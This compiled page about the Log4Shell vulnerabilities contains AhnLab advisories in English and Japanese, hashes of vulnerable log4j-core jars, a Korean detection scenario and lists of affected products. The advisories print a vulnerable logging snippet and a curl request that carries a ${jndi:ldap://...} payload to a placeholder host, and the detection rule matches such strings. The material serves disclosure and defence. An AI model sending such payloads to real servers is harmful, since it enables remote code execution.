AhnLab recommends security updates for Apache Log4j vulnerability. Apache Log4j Vulnerability Information Vulnerability Vulnerability (CVE-2021-44228, CVSS 10.0) that the attacker can remote code execute via a log message in Log4j 2.x version [1] Vulnerability (CVE-2021-45046, CVSS 3.7) in Log4j 2.x version that allows the attacker to cause Denied of Service via a log message [2] Vulnerability (CVE-2021-4104) that the attacker can remote code execute via a log message in Log4j 1.2.x version [3] Versions Affected by Vulnerability CVE-2021-44228 – Apache Log4j 2.0-beta9 to 2.14.1 (excluding Log4j 2.12.2) CVE-2021-45046 – Apache Log4j 2.0-beta9 to 2.12 and 2.15.0 CVE-2021-4104 – Apache Log4j 1.2.x (Note) CVE-2021-45046 occurs when using Context Lookup or Thread Context Lookup pattern for Pattern Layout in the Log4j 2.x version (Note) CVE-2021-4104 occurs when using JMSAppender feature in the Log4j 1.2.x version An immediate update is required for CVE-2021-44228 vulnerability, which is most critical (CVSS 10.0). It is advised for the users to check if the systems that are being operated have vulnerable Log4j Core libraries. The list below shows the list of files for each Log4j-Core version that are affected by the CVE-2021-44228 vulnerability. The hash for each version may be different if the Log4j source code is manually built in the individual environment. Reference [1] https://archive.apache.org/dist/logging/log4j/ Reference [2] https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/ Number MD5 Hash Log4j Core Version 1 fbfa5f33ab4b29a6fdd52473ee7b834d log4j-core-2.0.1.jar 2 8c0cf3eb047154a4f8e16daf5a209319 log4j-core-2.0.2.jar 3 152ecb3ce094ac5bc9ea39d6122e2814 log4j-core-2.0-beta9.jar 4 088df113ad249ab72bf19b7f00b863d5 log4j-core-2.0-rc1.jar 5 de8d01cc15fd0c74fea8bbb668e289f5 log4j-core-2.0-rc2.jar 6 8d331544b2e7b20ad166debca2550d73 log4j-core-2.1.jar 7 5e4bca5ed20b94ab19bb65836da93f96 log4j-core-2.2.jar 8 110ab3e3e4f3780921e8ee5dde3373ad log4j-core-2.3.jar 9 f0c43adaca2afc71c6cc80f851b38818 log4j-core-2.4.1.jar 10 0079c907230659968f0fc0e41a6abcf9 log4j-core-2.4.jar 11 dd0e3e0b404083ec69618aabb50b8ac0 log4j-core-2.5.jar 12 48f7f3cda53030a87e8c387d8d1e4265 log4j-core-2.6.1.jar 13 472c8e1fbaa0e61520e025c255b5d168 log4j-core-2.6.2.jar 14 5523f144faef2bfca08a3ca8b2becd6a log4j-core-2.6.jar 15 2b63e0e5063fdaccf669a1e26384f3fd log4j-core-2.7.jar 16 547bb3ed2deb856d0e3bbd77c27b9625 log4j-core-2.8.1.jar 17 4a5177a172764bda6f4472b94ba17ccb log4j-core-2.8.2.jar 18 c6d233bc8e9cfe5da690059d27d9f88f log4j-core-2.8.jar 19 fab646257f945b0b2a7ce3e1c3e3ce5f log4j-core-2.9.0.jar 20 a27e67868b69b7223576d6e8511659dd log4j-core-2.9.0.jar 21 942f429eacb8015e18d8f59996cfbee6 log4j-core-2.9.1.jar 22 a3a6bc23ffc5615efcb637e9fd8be7ec log4j-core-2.9.1.jar 23 dc99011f047e63dcc741b5ab68d116db log4j-core-2.10.0.jar 24 0042e7de635dc1c6c0c5a1ebd2c1c416 log4j-core-2.10.0.jar 25 2abec2ce665e0d529a3f28fffbbb2dd3 log4j-core-2.11.0.jar 26 90c12763ac2a49966dbb9a6d98be361d log4j-core-2.11.0.jar 27 b2242de0677be6515d6cefbf48e7e5d5 log4j-core-2.11.1.jar 28 71d3394226547d81d1bf6373a5b0e53a log4j-core-2.11.1.jar 29 c8bd8b5c5aaaa07a3dcbf57de01c9266 log4j-core-2.11.2.jar 30 8da9b75725fb3357cb9872adf7711f9f log4j-core-2.11.2.jar 31 5c527821d1084a7ef3e03d40144ff532 log4j-core-2.12.0.jar 32 7943c49b634b404144557181f550a59c log4j-core-2.12.0.jar 33 0138ba1c191d5c754fd0e3c3a61c0307 log4j-core-2.12.1.jar 34 df949e7d73479ab717e5770814de0ae9 log4j-core-2.12.1.jar 35 b71a13fd5df251694fca116240003b22 log4j-core-2.13.0.jar 36 2803991d51c98421be35d2db4ed3c2ac log4j-core-2.13.0.jar 37 d365e48221414f93feef093a1bf607ef log4j-core-2.13.1.jar 38 5ff1dab00c278ab8c7d46aadc60b4074 log4j-core-2.13.1.jar 39 0ac5b3e6e69ba7765683798e669a30b2 log4j-core-2.13.2.jar 40 b8e0d2779abbf38586b869f8b8e2eb46 log4j-core-2.13.2.jar 41 cc7d55ed69cc5fd34035b15c6edf79a0 log4j-core-2.13.3.jar 42 46e660d79456e6f751c22b94976f6ad5 log4j-core-2.13.3.jar 43 862c00b2e854f9c0f1e8d8409d23d899 log4j-core-2.14.0.jar 44 62ad26fbfb783183663ba5bfdbfb5ace log4j-core-2.14.0.jar 45 948dda787593340a7af1a18e328b7b7f log4j-core-2.14.1.jar 46 3570d00d9ceb3ca645d6927f15c03a62 log4j-core-2.14.1.jar As Log4j is a common open-source logging library used to leave logs in the Java-based environment, it is used by the majority of users. Yet according to research by the ASEC analysis team on the client environment, there are still a number of users that use the vulnerable Log4j core without the security update despite the critical security vulnerability. The number includes servers that can be externally accessed as well as application or framework environments used by individuals. C:\ ghidra \Ghidra\Framework\Generic\lib\log4j-core-2.12.1.jar C:\Users\<user name>\AppData\Roaming\. minecraft \libraries\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar C:\ eGovFrame-3.6.0 \maven\repository\org\apache\logging\log4j\log4j-core\2.1\log4j-core-2.1.jar C:\Apache Software Foundation\ Tomcat 8.5 \webapps\ROOT_210928\WEB-INF\lib\log4j-core-2.8.2.jar D:\<*****>_erp_server\ <***>ERP_<*****> \webapps\ROOT\WEB-INF\lib\log4j-core-2.10.0.jar C:\Users\USER\AppData\Local\ MapTool \app\log4j-core-2.13.0.jar C:\<user name>\ Teamcenter13 \tccs\third_party\TcSS\TcSS13.3\jars\log4j-core-2.14.0.jar \\<Private Server>\..\..\..\…\< ***>project \workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\ <***>project \WEB-INF\lib\log4j-core-2.11.2.jar \Users\<user name>\ eclipse-server \<*********>\WebContent\WEB-INF\lib\log4j-core-2.11.1.jar Users should check whether the application or framework environments used include vulnerable Log4j Core libraries. If there are versions that are vulnerable, it is advised for the users to proceed with the security update. MD5 0042e7de635dc1c6c0c5a1ebd2c1c416 0079c907230659968f0fc0e41a6abcf9 0138ba1c191d5c754fd0e3c3a61c0307 088df113ad249ab72bf19b7f00b863d5 0ac5b3e6e69ba7765683798e669a30b2 URL https[:]//archive[.]apache[.]org/dist/logging/log4j/ https[:]//archive[.]apache[.]org/dist/logging/log4j/출 https[:]//repo1[.]maven[.]org/maven2/org/apache/logging/log4j/log4j-core/
ASEC Apache Log4j 2 脆弱性に注意、およびアップデートの推奨 2021-12-14
Apache Log4j 2 脆弱性(CVE-2021-44228)が2021年12月10日、POC と共に Twitter および Github に公開された。この脆弱性は Log4j ソフトウェアのリモートコード実行(RCE)の脆弱性であり、ログメッセージにリモートの Java オブジェクトのアドレスを含ませ、脆弱なサーバーで実行させることができる。これはアリババのクラウドセキュリティチームが2021年11月24日に Apache ソフトウェア財団に最初に報告したものであり、最初のパッチは2021年12月6日に配布された。その後もパッチが配布され続けており、その内容は以下の通りである。 1. 脆弱性の対象およびバージョン 以下の条件と一致する製品は、この脆弱性の影響を受ける。 Apache Log4j 2.0-beta9 ~ 2.12.1 および 2.13.0 ~ 2.15.0 バージョン Apache Log4j 1.2.x のすべてのバージョン 2. 脆弱性を利用した攻撃の方法 Log4j を利用するサービスにおいて user-agent で送信された文字列をログとして記録するコードが含まれている場合、以下のように攻撃を実行することができる。 [ サーバーソースコードの一部 ] static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName()); ... String userAgent = he.getRequestHeader("user-agent"); String response = "<h1>Hello There, " + userAgent + "!</h1>"; log.error("Request User Agent:{}", userAgent); ... [ 脆弱性を利用した攻撃 ] xxx.xxx.xxx.xxx/a に位置する Java オブジェクトを自動でサーバーから実行させる攻撃 ex) # curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}’ 3. 解決済みの脆弱性 Log4j 2.x バージョンにおいて、攻撃者がログメッセージによって遠隔でコード実行が可能な脆弱性 (CVE-2021-44228, CVSS 10.0) Log4j 2.x バージョンにおいて、攻撃者がログメッセージによってサービス妨害エラー(Denied of Service)を発生させることのできる脆弱性 (CVE-2021-45046, CVSS 3.7) Log4j 1.2.x バージョンにおいて、攻撃者がログメッセージによって遠隔でコード実行が可能な脆弱性 (CVE-2021-4104) 4. AhnLab 製品の対応現況 1) 2021年12月14日のアップデートを通じて脆弱性パッチが以下のように提供 Log4j 2.16.0 以上の最新バージョン(Java8以上) : https://logging.apache.org/log4j/2.x/download.html Log4j 2.12.2 バージョン(Java 7) : 提供予定 2) Log4j のパッチが困難な場合、脆弱性緩和適用ソリューション ( ATIP セキュリティ勧告文を参照 ) バージョン : Log4j 2.0-beta9 以上 2.15.0 以下のバージョン(Log4j 2.12.2 バージョンは除外) JndiLookup クラスを以下のように削除 # zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class バージョン : Log4j 1.x バージョン Log4j 1.x で JMSAppender 使用状況を確認後、該当機能の停止 5. AhnLab 製品の対応現況 AhnLab では、TG/IPX、AIPS、HIPS 製品を通じてこの脆弱性の検知が可能である。 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。 参照 1) h ttps://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 参照 2) https://atip.ahnlab.com/ti/contents/security-advisory?i=0a053796-66db-4ce0-9c30-d3c19060670e
ASEC [Alert] Apache Log4j 2 Vulnerability, Update Recommended 2021-12-11
The Apache Log4j 2 vulnerability (CVE-2021-44228) was revealed on Twitter and Github alongside POC on December 10th, 2021. It is the remote code execution (RCE) vulnerability of the Log4j software, which can include the remote Java object address in the log message and run it in the vulnerable server. Alibaba’s cloud security team first reported the vulnerability to the Apache Software Foundation on November 24th, 2021, and the first patch was distributed on December 6th, 2021. Patch is continually being released, and below is the information of the patch. 1. Affected Products and Versions The products that fall under the following condition are affected by the vulnerability. Apache Log4j 2.0-beta9 to 2.12.1 and 2.13.0 to 2.15.0 version All versions of Apache Log4j 1.2.x 2. Vulnerability Exploitation Techniques If a service using Log4j includes a code that records strings sent to the user-agent as logs, the following exploitations can occur. [Part of server source code] static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.<em><em>class</em></em>.getName()); ... String userAgent = he.getRequestHeader("user-agent"); String response = "<h1>Hello There, " + userAgent + "!</h1>"; log.error("Request User Agent:{}", userAgent); ... [Vulnerability Exploitation] An attack that automatically executes the Java object located in xxx.xxx.xxx.xxx/a from the server ex) # curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}’ 3. Resolved Vulnerability Vulnerability (CVE-2021-44228, CVSS 10.0) that the attacker can remote code execute via a log message in Log4j 2.x version Vulnerability (CVE-2021-45046, CVSS 3.7) in Log4j 2.x version that allows the attacker to cause Denied of Service via a log message. Vulnerability (CVE-2021-4104) that the attacker can remote code execute via a log message in Log4j 1.2.x version 4. Response to Vulnerability 1) Provide the following vulnerability patch via update on Dec 14th, 2021 Log4j 2.16.0 or above (Java8 or above): https://logging.apache.org/log4j/2.x/download.html Log4j 2.12.2 Version (Java 7): To be released 2) Method for mitigating vulnerability if difficult to apply Log4j patch ( See ATIP Security Recommendations ) Version: Log4j 2.0-beta9 or above and 2.15.0 or below (excluding Log4j 2.12.2) Remove JndiLookup class as the following # zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class Version: Log4j 1.x Disable the feature after deciding whether to use JMSAppender in Log4j 1.x 5. AhnLab Products Response Status AhnLab can detect the vulnerability with TG/IPX, AIPS, and HIPS products. Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information. Reference 1) https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 Reference 2) https://atip.ahnlab.com/ti/contents/security-advisory?i=0a053796-66db-4ce0-9c30-d3c19060670e
자동 추천 장비와 근거 참고용
분류 체계(취약점 종류 CWE → 공격 유형 CAPEC → 공격 기법 ATT&CK) 매핑으로 계산한 후보입니다. 범위가 넓어 관련이 적은 장비가 섞입니다. 해당 장비가 이 공격을 탐지한다고 확인한 것은 아니며, 위의 '살펴볼 장비' 와 단계별 판정에는 쓰지 않습니다.
| 장비 | 방법 | 근거 경로 |
|---|---|---|
| 서버 접근제어 ACCESS | attack | CWE-20 > CAPEC-31 > T1539 > Logon Session Creation |
| 애플리케이션 로그 APPLOG | attack | CWE-20 > CAPEC-31 > T1539 > Application Log Content |
| 엔드포인트 탐지·대응 EDR | attack | CWE-20 > CAPEC-13 > T1574.006 > File Creation |
| 방화벽 FW | attack | CWE-400 > CAPEC-227 > T1499 > Network Traffic Flow |
| 계정·인증 (AD·LDAP·SSO) IAM | attack | CWE-20 > CAPEC-31 > T1539 > Logon Session Creation |
| 침입방지시스템 IPS | attack | CWE-20 > CAPEC-267 > T1027 > Network Traffic Content |
| 네트워크 탐지·대응 / 패킷 분석 NDR | attack | CWE-20 > CAPEC-267 > T1027 > Network Traffic Content |
| 서버 감사 로그 SYSAUDIT | attack | CWE-20 > CAPEC-13 > T1574.006 > File Creation |
| VPN VPN | attack | CWE-20 > CAPEC-31 > T1539 > Logon Session Creation |
| 웹 방화벽 WAF | attack | CWE-20 > CAPEC-31 > T1539 > Application Log Content |
| 웹서버·WAS 로그 WEBLOG | attack | CWE-20 > CAPEC-31 > T1539 > Application Log Content |
탐지 시나리오
Log4Shell 공격 후 서버의 외부 LDAP/RMI 통신 draft
로그 방화벽 세션 로그 + WAF/IPS 탐지 로그
1단계 (WAF·IPS): 요청에 ${jndi: 또는 난독화 변형이 포함된 탐지 이벤트 → 대상 서버 IP 기록 2단계 (FW): 1단계 대상 서버가 30분 안에 외부로 389/636/1099/1389 등 LDAP·RMI 포트 세션 생성 조건: 1단계 AND 2단계 (같은 서버 IP) 등급: 1단계만 = 중간(시도), 1+2단계 = 높음(공격 성공 가능성)
오탐 고려
- 사내 LDAP 서버로 가는 정상 통신은 목적지 예외 처리 - 취약점 스캐너 IP에서 온 1단계 이벤트는 등급 하향
대응
1. 대상 서버의 log4j-core 버전 확인 (remediation/cve/CVE-2021-44228.yaml) 2. 외부 목적지 IP 차단, java 프로세스의 자식 프로세스 확인 (EDR·auditd) 3. 침해 흔적이 있으면 서버 격리 후 사고 대응 절차
취약점 종류 CWE
- 입력값 검증 미흡 — CWE-20 Improper Input Validation
- 서비스 거부 — CWE-400 Uncontrolled Resource Consumption
- 역직렬화 — CWE-502 Deserialization of Untrusted Data
- CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement
영향받는 제품 CPE · 373건
| 제조사 | 제품 | 영향받는 버전 | 표준 표기CPE |
|---|---|---|---|
| siemens | 6bk1602-0aa12-0tp0_firmware | 2.7.0 미만 | cpe:2.3:o:siemens:6bk1602-0aa12-0tp0_firmware:*:*:*:*:*:*:*:* |
| siemens | 6bk1602-0aa22-0tp0_firmware | 2.7.0 미만 | cpe:2.3:o:siemens:6bk1602-0aa22-0tp0_firmware:*:*:*:*:*:*:*:* |
| siemens | 6bk1602-0aa32-0tp0_firmware | 2.7.0 미만 | cpe:2.3:o:siemens:6bk1602-0aa32-0tp0_firmware:*:*:*:*:*:*:*:* |
| siemens | 6bk1602-0aa42-0tp0_firmware | 2.7.0 미만 | cpe:2.3:o:siemens:6bk1602-0aa42-0tp0_firmware:*:*:*:*:*:*:*:* |
| siemens | 6bk1602-0aa52-0tp0_firmware | 2.7.0 미만 | cpe:2.3:o:siemens:6bk1602-0aa52-0tp0_firmware:*:*:*:*:*:*:*:* |
| apache | log4j | 2.0.1 이상 2.3.1 미만 | cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:* |
| apache | log4j | 2.4.0 이상 2.12.2 미만 | cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:* |
| apache | log4j | 2.13.0 이상 2.15.0 미만 | cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:* |
| apache | log4j | cpe:2.3:a:apache:log4j:2.0:-:*:*:*:*:*:* | |
| apache | log4j | cpe:2.3:a:apache:log4j:2.0:beta9:*:*:*:*:*:* | |
| apache | log4j | cpe:2.3:a:apache:log4j:2.0:rc1:*:*:*:*:*:* | |
| apache | log4j | cpe:2.3:a:apache:log4j:2.0:rc2:*:*:*:*:*:* | |
| siemens | sppa-t3000_ses3000_firmware | cpe:2.3:o:siemens:sppa-t3000_ses3000_firmware:*:*:*:*:*:*:*:* | |
| siemens | capital | 2019.1 미만 | cpe:2.3:a:siemens:capital:*:*:*:*:*:*:*:* |
| siemens | capital | cpe:2.3:a:siemens:capital:2019.1:-:*:*:*:*:*:* | |
| siemens | capital | cpe:2.3:a:siemens:capital:2019.1:sp1912:*:*:*:*:*:* | |
| siemens | comos | 10.4.2 미만 | cpe:2.3:a:siemens:comos:*:*:*:*:*:*:*:* |
| siemens | desigo_cc_advanced_reports | cpe:2.3:a:siemens:desigo_cc_advanced_reports:3.0:*:*:*:*:*:*:* | |
| siemens | desigo_cc_advanced_reports | cpe:2.3:a:siemens:desigo_cc_advanced_reports:4.0:*:*:*:*:*:*:* | |
| siemens | desigo_cc_advanced_reports | cpe:2.3:a:siemens:desigo_cc_advanced_reports:4.1:*:*:*:*:*:*:* | |
| siemens | desigo_cc_advanced_reports | cpe:2.3:a:siemens:desigo_cc_advanced_reports:4.2:*:*:*:*:*:*:* | |
| siemens | desigo_cc_advanced_reports | cpe:2.3:a:siemens:desigo_cc_advanced_reports:5.0:*:*:*:*:*:*:* | |
| siemens | desigo_cc_advanced_reports | cpe:2.3:a:siemens:desigo_cc_advanced_reports:5.1:*:*:*:*:*:*:* | |
| siemens | desigo_cc_info_center | cpe:2.3:a:siemens:desigo_cc_info_center:5.0:*:*:*:*:*:*:* | |
| siemens | desigo_cc_info_center | cpe:2.3:a:siemens:desigo_cc_info_center:5.1:*:*:*:*:*:*:* | |
| siemens | e-car_operation_center | 2021-12-13 미만 | cpe:2.3:a:siemens:e-car_operation_center:*:*:*:*:*:*:*:* |
| siemens | energy_engage | cpe:2.3:a:siemens:energy_engage:3.1:*:*:*:*:*:*:* | |
| siemens | energyip | cpe:2.3:a:siemens:energyip:8.5:*:*:*:*:*:*:* | |
| siemens | energyip | cpe:2.3:a:siemens:energyip:8.6:*:*:*:*:*:*:* | |
| siemens | energyip | cpe:2.3:a:siemens:energyip:8.7:*:*:*:*:*:*:* | |
| siemens | energyip | cpe:2.3:a:siemens:energyip:9.0:*:*:*:*:*:*:* | |
| siemens | energyip_prepay | 3.8.0.12 미만 | cpe:2.3:a:siemens:energyip_prepay:*:*:*:*:*:*:*:* |
| siemens | gma-manager | 8.6.2j-398 미만 | cpe:2.3:a:siemens:gma-manager:*:*:*:*:*:*:*:* |
| siemens | head-end_system_universal_device_integration_system | cpe:2.3:a:siemens:head-end_system_universal_device_integration_system:*:*:*:*:*:*:*:* | |
| siemens | industrial_edge_management | cpe:2.3:a:siemens:industrial_edge_management:*:*:*:*:*:*:*:* | |
| siemens | industrial_edge_management_hub | 2021-12-13 미만 | cpe:2.3:a:siemens:industrial_edge_management_hub:*:*:*:*:*:*:*:* |
| siemens | logo\!_soft_comfort | cpe:2.3:a:siemens:logo\!_soft_comfort:*:*:*:*:*:*:*:* | |
| siemens | mendix | cpe:2.3:a:siemens:mendix:*:*:*:*:*:*:*:* | |
| siemens | mindsphere | 2021-12-16 미만 | cpe:2.3:a:siemens:mindsphere:*:*:*:*:*:*:*:* |
| siemens | navigator | 2021-12-13 미만 | cpe:2.3:a:siemens:navigator:*:*:*:*:*:*:*:* |
| siemens | nx | cpe:2.3:a:siemens:nx:*:*:*:*:*:*:*:* | |
| siemens | opcenter_intelligence | 3.2 이상 3.5 미만 | cpe:2.3:a:siemens:opcenter_intelligence:*:*:*:*:*:*:*:* |
| siemens | operation_scheduler | 1.1.3 이하 | cpe:2.3:a:siemens:operation_scheduler:*:*:*:*:*:*:*:* |
| siemens | sentron_powermanager | cpe:2.3:a:siemens:sentron_powermanager:4.1:*:*:*:*:*:*:* | |
| siemens | sentron_powermanager | cpe:2.3:a:siemens:sentron_powermanager:4.2:*:*:*:*:*:*:* | |
| siemens | siguard_dsa | 4.2 이상 4.4.1 미만 | cpe:2.3:a:siemens:siguard_dsa:*:*:*:*:*:*:*:* |
| siemens | sipass_integrated | cpe:2.3:a:siemens:sipass_integrated:2.80:*:*:*:*:*:*:* | |
| siemens | sipass_integrated | cpe:2.3:a:siemens:sipass_integrated:2.85:*:*:*:*:*:*:* | |
| siemens | siveillance_command | 4.16.2.1 이하 | cpe:2.3:a:siemens:siveillance_command:*:*:*:*:*:*:*:* |
| siemens | siveillance_control_pro | cpe:2.3:a:siemens:siveillance_control_pro:*:*:*:*:*:*:*:* | |
| siemens | siveillance_identity | cpe:2.3:a:siemens:siveillance_identity:1.5:*:*:*:*:*:*:* | |
| siemens | siveillance_identity | cpe:2.3:a:siemens:siveillance_identity:1.6:*:*:*:*:*:*:* | |
| siemens | siveillance_vantage | cpe:2.3:a:siemens:siveillance_vantage:*:*:*:*:*:*:*:* | |
| siemens | siveillance_viewpoint | cpe:2.3:a:siemens:siveillance_viewpoint:*:*:*:*:*:*:*:* | |
| siemens | solid_edge_cam_pro | cpe:2.3:a:siemens:solid_edge_cam_pro:*:*:*:*:*:*:*:* | |
| siemens | solid_edge_harness_design | 2020 미만 | cpe:2.3:a:siemens:solid_edge_harness_design:*:*:*:*:*:*:*:* |
| siemens | solid_edge_harness_design | cpe:2.3:a:siemens:solid_edge_harness_design:2020:*:*:*:*:*:*:* | |
| siemens | solid_edge_harness_design | cpe:2.3:a:siemens:solid_edge_harness_design:2020:-:*:*:*:*:*:* | |
| siemens | solid_edge_harness_design | cpe:2.3:a:siemens:solid_edge_harness_design:2020:sp2002:*:*:*:*:*:* | |
| siemens | spectrum_power_4 | 4.70 미만 | cpe:2.3:a:siemens:spectrum_power_4:*:*:*:*:*:*:*:* |
| siemens | spectrum_power_4 | cpe:2.3:a:siemens:spectrum_power_4:4.70:-:*:*:*:*:*:* | |
| siemens | spectrum_power_4 | cpe:2.3:a:siemens:spectrum_power_4:4.70:sp7:*:*:*:*:*:* | |
| siemens | spectrum_power_4 | cpe:2.3:a:siemens:spectrum_power_4:4.70:sp8:*:*:*:*:*:* | |
| siemens | spectrum_power_7 | 2.30 미만 | cpe:2.3:a:siemens:spectrum_power_7:*:*:*:*:*:*:*:* |
| siemens | spectrum_power_7 | cpe:2.3:a:siemens:spectrum_power_7:2.30:*:*:*:*:*:*:* | |
| siemens | spectrum_power_7 | cpe:2.3:a:siemens:spectrum_power_7:2.30:-:*:*:*:*:*:* | |
| siemens | spectrum_power_7 | cpe:2.3:a:siemens:spectrum_power_7:2.30:sp2:*:*:*:*:*:* | |
| siemens | teamcenter | cpe:2.3:a:siemens:teamcenter:*:*:*:*:*:*:*:* | |
| siemens | vesys | 2019.1 미만 | cpe:2.3:a:siemens:vesys:*:*:*:*:*:*:*:* |
| siemens | vesys | cpe:2.3:a:siemens:vesys:2019.1:*:*:*:*:*:*:* | |
| siemens | vesys | cpe:2.3:a:siemens:vesys:2019.1:-:*:*:*:*:*:* | |
| siemens | vesys | cpe:2.3:a:siemens:vesys:2019.1:sp1912:*:*:*:*:*:* | |
| siemens | vesys | cpe:2.3:a:siemens:vesys:2020.1:-:*:*:*:*:*:* | |
| siemens | vesys | cpe:2.3:a:siemens:vesys:2021.1:-:*:*:*:*:*:* | |
| siemens | xpedition_enterprise | cpe:2.3:a:siemens:xpedition_enterprise:-:*:*:*:*:*:*:* | |
| siemens | xpedition_package_integrator | cpe:2.3:a:siemens:xpedition_package_integrator:-:*:*:*:*:*:*:* | |
| intel | computer_vision_annotation_tool | cpe:2.3:a:intel:computer_vision_annotation_tool:-:*:*:*:*:*:*:* | |
| intel | datacenter_manager | 5.1 미만 | cpe:2.3:a:intel:datacenter_manager:*:*:*:*:*:*:*:* |
| intel | genomics_kernel_library | cpe:2.3:a:intel:genomics_kernel_library:-:*:*:*:*:*:*:* | |
| intel | oneapi_sample_browser | cpe:2.3:a:intel:oneapi_sample_browser:-:*:*:*:*:eclipse:*:* | |
| intel | secure_device_onboard | cpe:2.3:a:intel:secure_device_onboard:-:*:*:*:*:*:*:* | |
| intel | system_studio | cpe:2.3:a:intel:system_studio:-:*:*:*:*:*:*:* | |
| debian | debian_linux | cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:* | |
| debian | debian_linux | cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:* | |
| debian | debian_linux | cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:* | |
| fedoraproject | fedora | cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:* | |
| fedoraproject | fedora | cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:* | |
| sonicwall | email_security | 10.0.13 미만 | cpe:2.3:a:sonicwall:email_security:*:*:*:*:*:*:*:* |
| netapp | active_iq_unified_manager | cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:*:linux:*:* | |
| netapp | active_iq_unified_manager | cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:*:vmware_vsphere:*:* | |
| netapp | active_iq_unified_manager | cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:*:windows:*:* | |
| netapp | brocade_san_navigator | cpe:2.3:a:netapp:brocade_san_navigator:-:*:*:*:*:*:*:* | |
| netapp | cloud_insights | cpe:2.3:a:netapp:cloud_insights:-:*:*:*:*:*:*:* | |
| netapp | cloud_manager | cpe:2.3:a:netapp:cloud_manager:-:*:*:*:*:*:*:* | |
| netapp | cloud_secure_agent | cpe:2.3:a:netapp:cloud_secure_agent:-:*:*:*:*:*:*:* | |
| netapp | oncommand_insight | cpe:2.3:a:netapp:oncommand_insight:-:*:*:*:*:*:*:* | |
| netapp | ontap_tools | cpe:2.3:a:netapp:ontap_tools:-:*:*:*:*:vmware_vsphere:*:* | |
| netapp | snapcenter | cpe:2.3:a:netapp:snapcenter:-:*:*:*:*:vmware_vsphere:*:* | |
| netapp | solidfire_\&_hci_storage_node | cpe:2.3:a:netapp:solidfire_\&_hci_storage_node:-:*:*:*:*:*:*:* | |
| netapp | solidfire_enterprise_sds | cpe:2.3:a:netapp:solidfire_enterprise_sds:-:*:*:*:*:*:*:* |
100건만 표시합니다.
참고 링크 103건
- 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html
- 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165260/VMware-Security-Advisory-2021-0028.html
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165261/Apache-Log4j2-2.14.1-Information-Disclosure.html
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165270/Apache-Log4j2-2.14.1-Remote-Code-Execution.html
- 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165281/Log4j2-Log4Shell-Regexes.html
- 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165282/Log4j-Payload-Generator.html
- 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165306/L4sh-Log4j-Remote-Code-Execution.html
- 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165307/Log4j-Remote-Code-Execution-Word-Bypassing.html
- 끊긴 링크 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165311/log4j-scan-Extensive-Scanner.html
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165371/VMware-Security-Advisory-2021-0028.4.html
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165532/Log4Shell-HTTP-Header-Injection.html
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165642/VMware-vCenter-Server-Unauthenticated-Log4Shell-JNDI-Injection-Remote-Code-Execution.html
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/165673/UniFi-Network-Application-Unauthenticated-Log4Shell-Remote-Code-Execution.html
- 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/167794/Open-Xchange-App-Suite-7.10.x-Cross-Site-Scripting-Command-Injection.html
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/167917/MobileIron-Log4Shell-Remote-Command-Execution.html
- 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/171626/AD-Manager-Plus-7122-Remote-Code-Execution.html
- 공격 코드 · 메일링 리스트 · 제3자 권고 http://seclists.org/fulldisclosure/2022/Dec/2
- 메일링 리스트 · 제3자 권고 http://seclists.org/fulldisclosure/2022/Jul/11
- 메일링 리스트 · 제3자 권고 http://seclists.org/fulldisclosure/2022/Mar/23
- 메일링 리스트 · 완화 방법 · 제3자 권고 http://www.openwall.com/lists/oss-security/2021/12/10/1
- 메일링 리스트 · 완화 방법 · 제3자 권고 http://www.openwall.com/lists/oss-security/2021/12/10/2
- 메일링 리스트 · 제3자 권고 http://www.openwall.com/lists/oss-security/2021/12/10/3
- 메일링 리스트 · 제3자 권고 http://www.openwall.com/lists/oss-security/2021/12/13/1
- 메일링 리스트 · 제3자 권고 http://www.openwall.com/lists/oss-security/2021/12/13/2
- 메일링 리스트 · 제3자 권고 http://www.openwall.com/lists/oss-security/2021/12/14/4
